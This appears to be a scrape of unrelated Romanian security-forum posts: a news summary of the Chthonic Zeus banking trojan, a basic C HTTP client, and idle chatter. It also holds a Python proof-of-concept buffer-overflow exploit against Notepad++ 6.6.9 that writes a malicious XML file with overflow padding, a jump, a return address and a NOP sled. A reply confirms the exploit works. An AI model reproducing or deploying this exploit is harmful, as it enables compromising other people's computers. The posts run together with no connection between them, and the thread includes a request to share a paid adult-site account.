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A new strain of Zeus Trojan dubbed Chthonic has been discovered in the wild targeting more than 150 banks and 20 payment systems mainly in Europe. Experts believe they have seen everything about the Zeus trojan, P2P versions, versions that infect SaaS, agents that exploit the Tor network or that recruit money mules … then promptly a new strain of the malware appears in the wild and astonishes all. The new Zeus variant is dubbed Chthonic and relies on a new mechanism to load its modules. The new strain of malware infected machines prevalently in the UK, Spain, US, Russia and Japan. Other infections have also been reported in other European countries, including Bulgaria, Ireland, France, Germany and Italy. Chthonic is served to the victims through the Andromeda bot, as well as through an exploit for a vulnerability in Microsoft Office (CVE-2014-1761) that is distributed via email. “A significant new malware threat targeting online banking systems and their customers has been detected by Kaspersky Lab’s security analysts. Identified as an evolution of the infamous ZeuS Trojan, Trojan-Banker.Win32.Chthonic, or Chthonic for short, is known to have hit over 150 different banks and 20 payment systems in 15 countries. It appears to be mainly targeting financial institutions in the UK, Spain, the US, Russia, Japan and Italy.” states a blog post published by Kaspersky Lab. The Expert discovered that many components of Chthonic are compatible with 64-bit systems, it combines the encryption scheme from other strains of Zeus, as well as a virtual machine implemented by ZeusVM and KINS trojan. “Chthonic shares some similarities with other Trojans. It uses the same encryptor and downloader as Andromeda bots, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.” continues the post. Chthonic uses a main module that download all the other modules of the malware, the agent works with both 32-bit and 64-bit platforms and among its capabilities there is collecting system information, stealing passwords from the system through Pony malware, keylogging, web camera control, form grabbing, web injection and remote access through VNC remote desktop component. The experts highlighted the web injectors of Chthonic that allow the malware to insert its own code in the browser when victims visit the website of targeted banks. “Chthonic exploits computer functions including the web camera and keyboard to steal online banking credentials such as saved passwords. Attackers can also connect to the computer remotely and command it to carry out transactions.” states the report. “Chthonic’s main weapon, however, is web injectors. These enable the Trojan to insert its own code and images into the bank pages loaded by the computer’s browser, allowing the attackers to obtain the victim’s phone number, one-time passwords and PINs, as well as any login and password details entered by the user.” The attack scheme is not different from the one implemented with other strain of Zeus, it relies on the man-in-the-middle technique that allows Chthonic to intercept communication from the client to the targeted bank and modifies the web page loaded in the browser injecting the necessary code. The code injection allows attackers to steal banking information (log-in details, PIN, one-time password). At least in one attack against a Japanese bank, Chthonic was able to hide the bank’s warnings, meanwhile affected customers of Russian banks were deceived using an iframe with a phishing copy of the website that has the same size as the original window. “Fortunately, many code fragments used by Chthonic to perform web injections can no longer be used, because banks have changed the structure of their pages and in some cases, the domains as well.” The discovery of Chthonic trojan is the demonstration that the ZeuS Trojan is still evolving thanks also to the availability of its source code in the hacking underground. ““The discovery of Chthonic confirms that the ZeuS Trojan is still actively evolving. Malware writers are making full use of the latest techniques, helped considerably by the leak of the ZeuS source code. “ A detailed analysis of the malware is available on SecureList website. Source

Ma lasi ba cu tiganii tai ?

#include <sys/socket.h> #include <netinet/in.h> #include <sys/select.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/time.h> #include <sys/types.h> #include <stdlib.h> #include <fcntl.h> #include <string.h> #include <stdio.h> #include <netdb.h> #define USERAGENT "JIHAD HTTP AGENT" int socket_connect (char *hostme, int port) { struct timeval tv; tv.tv_sec = 3; tv.tv_usec = 0; int error, handle; struct hostent *host; struct sockaddr_in server; host = gethostbyname (hostme); if (host != NULL){ handle = socket (AF_INET, SOCK_STREAM, 6); if (handle == -1) { return handle; } else { server.sin_family = AF_INET; server.sin_port = htons (port); server.sin_addr = *((struct in_addr *) host->h_addr); if (server.sin_addr.s_addr != -1 ){ bzero (&(server.sin_zero), 8); setsockopt (handle, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv, sizeof(tv)); setsockopt (handle, SOL_SOCKET, SO_SNDTIMEO, (char *)&tv, sizeof(tv)); error = connect (handle, (struct sockaddr *) &server, sizeof (struct sockaddr)); if (error == -1) return handle; } } } else printf("Invalid IP address.\n"); return handle; } int checkpage(char *hostname, char *page) { int socket_desc; char buf[2000000]; char server_reply[2]; char message[2000]; socket_desc = socket_connect(hostname,80); sprintf(message,"GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", page, hostname, USERAGENT); if( send(socket_desc , message , strlen(message), 0) < 0) { return 1; } while(recv(socket_desc, server_reply , 1 , 0) > 0){ sprintf(buf,"%s%s",buf, server_reply); } printf(buf); } int main(int argc, char **argv) { checkpage(argv[1],argv[2]); } rulezi ./http yahoo.com / Output: root@superstars:~/new-proj# ./http yahoo.com / HTTP/1.1 301 Redirect Date: Fri, 26 Dec 2014 14:18:44 GMT Via: http/1.1 ir7.fp.ne1.yahoo.com (ApacheTrafficServer) Server: ATS Location: https://www.yahoo.com// Content-Type: text/html Content-Language: en Cache-Control: no-store, no-cache Connection: keep-alive Content-Length: 1450 <!DOCTYPE html> <html lang="en-us"><head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <meta charset="utf-8"> <title>Yahoo</title> <meta name="viewport" content="width=device-width,initial-scale=1,minimal-ui"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <style> html { height: 100; } body { background: #fafafc url(https://s.yimg.com/nn/img/sad-panda-201402200631.png) 50 50; background-size: cover; height: 100; text-align: center; font: 300 18px "helvetica neue", helvetica, verdana, tahoma, arial, sans-serif; } table { height: 100; width: 100; table-layout: fixed; border-collapse: collapse; border-spacing: 0; border: none; } h1 { font-size: 42px; font-weight: 400; color: #400090; } p { color: #1A1A1A; } #message-1 { font-weight: bold; margin: 0; } #message-2 { display: inline-block; *display: inline; zoom: 1; max-width: 17em; _width: 17em; } </style> </head> <body> <!-- status code : 301 --> <!-- Error: GET --> <table> <tbody><tr> <td> <img src="https://s.yimg.com/nn/img/yahoo-logo-201402200629.png" alt="Yahoo Logo"> <h1 style="margin-top:20px;">Will be right back...</h1> <p id="message-1">Thank you for your patience.</p> <p id="message-2">Our engineers are working quickly to resolve the issue.</p> </td> </tr> </tbody></table> </body></html> nu o sa-ti mearga SSL, ptr. ssl trebuie sa implementezi Openssl codul e ptr. unix, il portezi usor ptr. winsock. doar la socket nu stau sa ti-l explic, il vezi si incerci sa-l intelegi.

#!/usr/bin/python # Exploit Title: NotePad++ v6.6.9 Buffer Overflow # URL Vendor: http://notepad-plus-plus.org/ # Vendor Name: NotePad # Version: 6.6.9 # Date: 22/12/2014 # CVE: CVE-2014-1004 # Author: TaurusOmar # Twitter: @TaurusOmar_ # Email: taurusomar13@gmail.com # Home: overhat.blogspot.com # Risk: Medium #Description: #Notepad++ is a free (as in "free speech" and also as in "free beer") source code editor and Notepad replacement that supports several languages. #Running in the MS Windows environment, its use is governed by GPL License. #Based on the powerful editing component Scintilla, Notepad++ is written in C++ and uses pure Win32 API and STL which ensures a higher execution speed #and smaller program size. By optimizing as many routines as possible without losing user friendliness, Notepad++ is trying to reduce the world carbon #dioxide emissions. When using less CPU power, the PC can throttle down and reduce power consumption, resulting in a greener environment. #Proof Concept #http://i.imgur.com/TTDtxJM.jpg #Code import struct def little_endian(address): return struct.pack("<L",address) poc ="\x41" * 591 poc+="\xeb\x06\x90\x90" poc+=little_endian(0x1004C31F) poc+="\x90" * 80 poc+="\x90" * (20000 - len(poc)) header = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x20\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22" header += "\x55\x54\x46\x2d\x38\x22\x20\x3f\x3e\x0a\x3c\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a\x09\x3c\x45\x76\x65\x6e\x74\x20\x55" header += "\x72\x6c\x3d\x22\x22\x20\x54\x69\x6d\x65\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x0a" + poc footer = "\x22\x20\x46\x6f\x6c\x64\x65\x72\x3d\x22\x22\x20\x2f\x3e\x0a\x3c\x2f\x53\x63\x68\x65\x64\x75\x6c\x65\x3e\x0a" exploit = header + footer filename = "notepad.xml" file = open(filename , "w") file.write(exploit) file.close() Source

It worked for me. Note: Please use a virtual machine. It may be infected.

Muie Thread closed. Nu mai faceti atacuri la persoana pe forum ca va luati ban.

Pe mine ma puteti scoate din pool, nu mai particip, ca e mult de recuperat, si nu am timp(am pierdut tot ). O sa pun toate modificarile care le-am adus la original pe github, la https://github.com/RomanianSecurityTeam/chatbot . Dar momentan ma duc la ziua cuiva, si sper sa ma distrez... Bafta.

A fi extremist intr-o tara din UE trebuie sa fi putin dus de acasa ... sau poate esti doar foarte plictisit si nu ai altceva mai bun de facut decat propaganda ... ca Mircea Badea

Salutare, Nu stie cineva unde pot gasi/de unde pot comanda niste Honey Waffles, de genul? Feine Waffeln mit Honig gefüllt | Ein Genuss für Groß und Klein, Honey | Paul Schrader Caut de mult timp si in Romania nu am prea gasit... Multumesc

Sunt corupte fisierele zip, nu le pot dezarhiva cu 7zip Edit: am reusit. Mersi

Salut, Are cineva sa imi dea un cont pe LiveJasmine?